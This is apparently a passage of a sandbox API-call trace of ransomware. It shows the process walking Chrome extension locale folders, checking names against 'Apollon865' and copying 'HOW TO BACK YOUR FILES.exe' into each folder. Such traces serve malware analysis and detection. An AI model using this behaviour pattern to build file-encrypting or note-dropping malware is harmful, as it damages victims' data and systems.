	[0047.867] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349aee70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349aee70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.867] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.867] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.867] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.867] lstrlenW (lpString="messages.json") returned 13
	[0047.867] lstrlenW (lpString="Apollon865") returned 10
	[0047.867] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.867] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi"
	[0047.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bbad8 | out: hHeap=0x580000) returned 1
	[0047.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0188 | out: hHeap=0x580000) returned 1
	[0047.868] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned 137
	[0047.868] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi"
	[0047.868] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.868] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.871] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.871] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349aee70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349aee70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.872] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.872] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.872] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.872] lstrlenW (lpString="messages.json") returned 13
	[0047.872] lstrlenW (lpString="Apollon865") returned 10
	[0047.872] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.872] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk"
	[0047.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb9b0 | out: hHeap=0x580000) returned 1
	[0047.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0168 | out: hHeap=0x580000) returned 1
	[0047.872] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned 137
	[0047.872] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk"
	[0047.872] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.872] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.877] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.877] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349aee70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349aee70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.877] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.877] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.877] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.877] lstrlenW (lpString="messages.json") returned 13
	[0047.877] lstrlenW (lpString="Apollon865") returned 10
	[0047.877] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.877] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr"
	[0047.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb888 | out: hHeap=0x580000) returned 1
	[0047.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0047.878] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned 137
	[0047.878] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr"
	[0047.878] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.878] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.882] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.882] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349d4fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349d4fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.882] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.882] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.882] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.882] lstrlenW (lpString="messages.json") returned 13
	[0047.882] lstrlenW (lpString="Apollon865") returned 10
	[0047.882] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.882] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th"
	[0047.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb760 | out: hHeap=0x580000) returned 1
	[0047.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0148 | out: hHeap=0x580000) returned 1
	[0047.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned 137
	[0047.882] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th"
	[0047.882] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.882] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.887] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.887] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349d4fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349d4fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.887] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.887] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.887] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.887] lstrlenW (lpString="messages.json") returned 13
	[0047.887] lstrlenW (lpString="Apollon865") returned 10
	[0047.887] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.887] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr"
	[0047.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb638 | out: hHeap=0x580000) returned 1
	[0047.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0128 | out: hHeap=0x580000) returned 1
	[0047.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned 137
	[0047.887] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr"
	[0047.887] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.887] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.892] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349d4fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349d4fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.892] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.893] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.893] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.893] lstrlenW (lpString="messages.json") returned 13
	[0047.893] lstrlenW (lpString="Apollon865") returned 10
	[0047.894] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.894] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl"
	[0047.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb510 | out: hHeap=0x580000) returned 1
	[0047.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0108 | out: hHeap=0x580000) returned 1
	[0047.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl") returned 137
	[0047.894] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl"
	[0047.894] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.894] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.898] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.898] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349fb130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349fb130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.898] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.899] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.899] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.899] lstrlenW (lpString="messages.json") returned 13
	[0047.899] lstrlenW (lpString="Apollon865") returned 10
	[0047.899] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.899] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk"
	[0047.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb3e8 | out: hHeap=0x580000) returned 1
	[0047.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x580000) returned 1
	[0047.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk") returned 137
	[0047.899] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk"
	[0047.899] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.899] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.903] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
